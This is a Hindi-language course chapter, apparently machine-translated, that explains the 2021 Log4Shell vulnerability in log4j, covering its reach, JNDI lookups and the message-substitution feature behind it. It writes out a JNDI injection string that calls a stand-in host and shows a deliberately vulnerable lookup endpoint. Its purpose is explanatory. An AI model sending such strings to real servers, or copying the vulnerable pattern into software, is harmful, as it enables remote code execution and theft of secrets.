7.1 स्कैंडल

और निश्चित रूप से, उस कहानी के बारे में बताना मुश्किल नहीं है जो हाल ही में हुई - 2021 के अंत में।

Log4Shell

यूएस साइबर सिक्योरिटी एंड इंफ्रास्ट्रक्चर प्रोटेक्शन एजेंसी (CISA) ने कहा कि यह समस्या Log4Shellइतिहास की सबसे गंभीर कमजोरियों में से एक है। जी हां, हम बात कर रहे हैं अपनी पसंदीदा लाइब्रेरी की log4j

हमारा आरामदायक छोटा पुस्तकालय log4j और इतिहास की सबसे बड़ी भेद्यता ? साजिश हुई? तो सुनो।

7.2 आपदा का पैमाना

Lunasec सुरक्षा विशेषज्ञों द्वारा 9 दिसंबर, 2021 को एक महत्वपूर्ण भेद्यता Log4Shell(कोड CVE-2021-44228) की खोज की घोषणा की गई थी। अपाचे सुरक्षा दल जावा समुदाय के विशेषज्ञों ने इस जानकारी को सत्यापित किया है और कमजोर जावा पुस्तकालयों की एक सूची प्रकाशित की है। सूची बहुत बड़ी थी।

यदि कोई Java प्रोजेक्ट किसी लाइब्रेरी का उपयोग करता है log4j, तो उसे काफी आसानी से हैक किया जा सकता है। और यह देखते हुए कि लगभग सभी सर्वर सॉफ़्टवेयर सबसे लोकप्रिय जावा लकड़हारे में लिखे गए हैं Java, log4jसुरक्षा विशेषज्ञों के अनुसार, भेद्यता ने 93% कॉर्पोरेट क्लाउड वातावरण को प्रभावित किया। जिसमें Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam और बहुत कुछ शामिल हैं

इसके अलावा, भेद्यता ने न केवल सर्वर सॉफ़्टवेयर, बल्कि कई जावा अनुप्रयोगों के साथ-साथ हार्डवेयर निर्माताओं को भी प्रभावित किया। उदाहरण के लिए, इंटेल ने 32 हैक करने योग्य कार्यक्रमों की एक सूची प्रकाशित की: एसडीके, सर्वर रखरखाव प्रणाली, लिनक्स उपकरण।

Nvidia ने DGX सर्वर और NetQ टूल का उल्लेख करते हुए एक सुरक्षा समस्या रिपोर्ट भी पोस्ट की। कई अद्यतन तत्काल Apple और Microsoft द्वारा जारी किए गए थे।

मोटे तौर पर, एक छात्र के ब्राउज़र के एड्रेस बार में एक लाइन सर्वर को लगाती है यदि यह लाइन लकड़हारे द्वारा खा ली जाती है ( कई सर्वर पर, सब कुछ लॉग हो जाता है HTTP-requests)।

कोड का विश्लेषण करने के बाद, यह पता चला कि भेद्यता 2013 से पुस्तकालय में बैठी थी, लेकिन उन्होंने अभी देखा। और जब उन्होंने गहरी खुदाई शुरू की, तो उन्हें एक रसातल मिला, जिसका तल बिल्कुल दिखाई नहीं दे रहा था।

7.3 इतिहास में सबसे गंभीर भेद्यता

दिसंबर 2021 में वापस, यूएस साइबर सिक्योरिटी एंड इंफ्रास्ट्रक्चर प्रोटेक्शन एजेंसी (CISA) ने कहा कि Log4Shellयह इतिहास की सबसे गंभीर कमजोरियों में से एक है

कई अन्य विशेषज्ञ भी इसी तरह की राय व्यक्त करते हैं । हर कोई इस भेद्यता के बारे में जानता है, और सभी उम्र के हैकर पहले से ही इसका उपयोग व्यक्तिगत डेटा और विभिन्न संगठनों पर अन्य प्रकार के हमलों को चुराने के लिए कर रहे हैं। भविष्य में, हम बड़े पैमाने पर हैक और डेटा लीक की लहर का इंतजार कर रहे हैं।

आपदा के पैमाने का अंदाजा इस बात से भी लगाया जा सकता है कि Log4j के बारे में मेम्स के साथ एक अलग साइट है , और हर दिन नई तस्वीरें आती हैं।

यह समस्या हमारे साथ लंबे समय से है। करोड़ों कंप्यूटर सिस्टम नहीं तो लाखों में एक सुरक्षा छेद। सभी पुराने सॉफ़्टवेयर को अद्यतन करने की आवश्यकता है और कम से कम इस पुस्तकालय को वहाँ प्रतिस्थापित करें। लेकिन ज्यादातर मामलों में, किसी को यह भी नहीं पता होता है कि उनके सॉफ्टवेयर में कौन सी लाइब्रेरी और कौन से संस्करण का उपयोग किया जाता है।

सामान्य तौर पर, हम कंप्यूटर सुरक्षा विशेषज्ञों के वेतन में तेज वृद्धि की उम्मीद करते हैं।

7.4 भेद्यता की प्रकृति

भेद्यता के सार को समझने के लिए, आपको यह समझने की आवश्यकता है कि बड़े सर्वर सिस्टम कैसे व्यवस्थित होते हैं। अक्सर ऐसे सर्वर एप्लिकेशन विभिन्न सेवाओं में टूट जाते हैं जो विभिन्न सर्वरों पर स्थित होते हैं। और जेएनडीआई सेवा उन्हें बातचीत करने में मदद करती है।

जावा नामकरण और निर्देशिका इंटरफ़ेस (जेएनडीआई)Java API नाम से वस्तुओं/सेवाओं को देखने के लिए है । इन वस्तुओं को विभिन्न नामकरण सेवाओं या निर्देशिकाओं जैसे रिमोट मेथड इनवोकेशन (RMI), कॉमन ऑब्जेक्ट रिक्वेस्ट ब्रोकर आर्किटेक्चर (CORBA), लाइटवेट डायरेक्ट्री एक्सेस प्रोटोकॉल (LDAP), या डोमेन नेम सर्विस (DNS) में संग्रहीत किया जा सकता है।

इसके साथ काम करना बहुत सरल है - यह एक सरल है Java APIजो केवल एक स्ट्रिंग पैरामीटर - सेवा का नाम लेता है। इसके साथ, आप किसी भी सेवा से संपर्क कर सकते हैं और उसे कुछ करने और / या कुछ डेटा भेजने के लिए कह सकते हैं। उदाहरण के लिए, स्ट्रिंग में निर्दिष्ट स्ट्रिंग ${jndi:ldap://example.com/file}से डेटा लोड करेगा ।URL

यदि पैरामीटर अविश्वसनीय स्रोत से आता है, तो यह दूरस्थ वर्ग लोडिंग और तृतीय-पक्ष कोड निष्पादन का कारण बन सकता है । के मामले में क्या होता है Log4j। हमलावर केवल पीड़ित के जावा एप्लिकेशन को दुर्भावनापूर्ण के लिए निर्देशित करता है rmi/ldap/corba-serverऔर प्रतिक्रिया में एक दुर्भावनापूर्ण वस्तु प्राप्त करता है।

तकनीकी रूप से, यहाँ समस्या log4jलाइब्रेरी में ही नहीं है, बल्कि सुरक्षा सेटिंग्स में है जब JNDI-service. आपको हमेशा यह जांचने की आवश्यकता है कि हम किस प्रकार की स्ट्रिंग को पास करते हैं InitialContext.lookup()

कमजोर उदाहरण JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 बहुत स्मार्ट लाइब्रेरी

और log4jतुम कहाँ पूछते हो? बात यह है कि इसके डेवलपर्स इसके साथ काम करना जितना संभव हो उतना आरामदायक बनाना चाहते थे और इसमें स्मार्ट लॉगिंग को जोड़ा। यह ऐसे काम करता है:

यह सब इस तथ्य से शुरू हुआ कि लॉग संदेशों ने आपको एक टेम्पलेट सेट करने की अनुमति दी जहां डेटा प्रतिस्थापित किया गया था, उदाहरण के लिए:


log.debug(“User {user} has {count} friends”, user, count);

डेटा प्रतिस्थापन के बिना पुराना संस्करण इस तरह दिखता था:


log.debug( “User “+user +” has “+ count +” friends”);

2013 में, दृश्य टेम्पलेट द्वारा निर्दिष्ट स्मार्ट उपसर्गों का प्रतिस्थापन भी पुस्तकालय में जोड़ा गया था ${prefix:name}। उदाहरण के लिए, स्ट्रिंग “${java:version}”में कनवर्ट किया जाएगा «Java version 1.7.0_67»। ओह कितना सुविधाजनक है।

मान्यता प्राप्त अभिव्यक्तियों में से हैं ${jndi:<lookup>}जहां जेएनडीआई प्रोटोकॉल के बाद आप एक खोज निर्दिष्ट कर सकते हैं LDAP: मनमाने ढंग से URL-addressपूछताछ की जा सकती है और ऑब्जेक्ट डेटा के रूप में लोड किया जा सकता है Java

यह संपूर्ण दृष्टिकोण की एक मानक समस्या है JDK: यह स्वचालित रूप से एक वस्तु को निष्क्रिय कर देता है, एक लिंक जिसे url के रूप में सेट किया जा सकता है। इस मामले में, न केवल वस्तु का डेटा दूरस्थ संसाधन से लोड किया जाता है, बल्कि इसकी कक्षा का कोड भी लोड किया जाता है।

हैक ऐसा दिखता है:

  • दुर्भावनापूर्ण कोड वाली फ़ाइल डाउनलोड करना
  • फ़ाइल में क्रमबद्ध Java an object(और इसकी कक्षा) शामिल है
  • कक्षा लोड हो रही हैJava-machine
  • एक दुर्भावनापूर्ण वर्ग की वस्तु बनाई जाती है
  • ऑब्जेक्ट के कंस्ट्रक्टर को कहा जाता है
  • कंस्ट्रक्टर और स्टैटिक इनिशियलाइज़ेशन दोनों ही दुर्भावनापूर्ण वर्ग कोड को निष्पादित करने की अनुमति देते हैं

यदि लाइन में log4jऐसा कुछ है जिसे लॉग किया जा रहा है ${jndi:ldap://example.com/file}, तो यह इंटरनेट से कनेक्ट होने पर log4jइससे डेटा डाउनलोड करेगाURL-address । लॉग की गई स्ट्रिंग दर्ज करके, एक हमलावर सार्वजनिक रूप से होस्ट किए गए दुर्भावनापूर्ण कोड को डाउनलोड और निष्पादित कर सकता है URL-address

यहां तक ​​​​कि अगर डेटा निष्पादन अक्षम है, तो एक हमलावर डेटा प्राप्त कर सकता है, जैसे कि गुप्त पर्यावरण चर, इसे एक में रखकर URL-address, जो इसे बदल देगा और इसे हमलावर के सर्वर पर भेज देगा।

अच्छी खबर यह है कि लाइब्रेरी में समस्या को जल्दी से ठीक कर लिया गया था

बुरी खबर यह है कि दुनिया भर के लाखों सर्वर अभी भी इस पुस्तकालय के पुराने संस्करण को चला रहे हैं ...